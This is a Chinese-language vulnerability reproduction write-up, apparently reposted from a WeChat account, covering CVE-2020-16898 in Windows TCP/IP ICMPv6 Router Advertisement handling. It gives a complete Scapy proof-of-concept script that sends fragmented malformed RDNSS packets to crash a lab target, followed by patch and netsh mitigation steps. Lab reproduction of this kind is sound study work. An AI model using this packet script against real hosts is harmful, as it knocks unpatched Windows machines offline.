一、漏洞介绍
该漏洞主要是由于Windows TCP/IP堆栈在处理IMCPv6 Router Advertisement(路由通告)数据包时存在漏洞,远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包时,处理逻辑存在漏洞,导致可以攻击者可以进行远程代码执行。成功利用该漏洞的攻击者可以在目标主机或服务器上执行任意代码。但是该漏洞必须要目标主机启用IPv6协议才可以,否则无法进行利用。
二、影响版本
Microsoft Windows 10 1709
Microsoft Windows 10 1803
Microsoft Windows 10 1809
Microsoft Windows 10 1903
Microsoft Windows 10 1909
Microsoft Windows 10 2004
Microsoft Windows Server 2019
Microsoft Windows Server, version 1903
Microsoft Windows Server, version 1909
Microsoft Windows Server, version 2004
三、漏洞复现
0x01 环境搭建
(1):虚拟机开启IPv6
(2):关闭目标主机防火墙
很重要的一步,两台主机一定要互通,因此需要关闭目标主机防火墙。否则无法ping通。
(3):攻击者主机IP(kali2018):
IPv4:192.168.223.160
IPv6:fd15:4ba5:5a2b:1008:20c:29ff:fe62:aae
目标主机IP(虚拟机):
IPv4:192.168.223.179
IPv6:fd15:4ba5:5a2b:1008:2060:1ba4:e672:9966
(4):查看目标主机系统版本
主机版本号是1909,在受害主机影响范围之内。
0x02 漏洞复现
(1):payload如下
from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
v6_dst = "fd15:4ba5:5a2b:1008:2060:1ba4:e672:9966"
v6_src = "fe80::3d6b:a8c1:521b:b1c7%23"
p_test_half = 'A'.encode()*8 + b"x18x30" + b"xFFx18"
p_test = p_test_half + 'A'.encode()*4
c = ICMPv6NDOptEFA()
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa /
Raw(load='A'.encode()*16*2 + p_test_half + b"x18xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/
IPv6ExtHdrFragment()/pkt
l=fragment6(p_test_frag, 200)
for p in l:
send(p)
(2):修改目标主机和本机IPv6
(3):执行payload
python3 CVE-2020-16898-poc.py
注意:需要使用python3.7版本,如果是使用python3.9版本可能会报错。(本人是这样的)
(4):目标主机蓝屏
四、修复建议
0x01 打官方补丁
补丁地址如下:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898
0x02 临时方案
(1):检查所有网络IPv6接口的列表以及相应的索引号
netsh int ipv6 sh int
(2):确认网络接口的RDNSS功能开启情况
netsh int ipv6 sh int 6
(3):关闭RDNSS功能
netsh int ipv6 set int 6 rabaseddnsconfig=disable
(4):再次确认接口的RDNSS功能开启情况
netsh int ipv6 sh int 6
原文始发于微信公众号(想走安全的小白):CVE-2020-16898TCP/IP远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论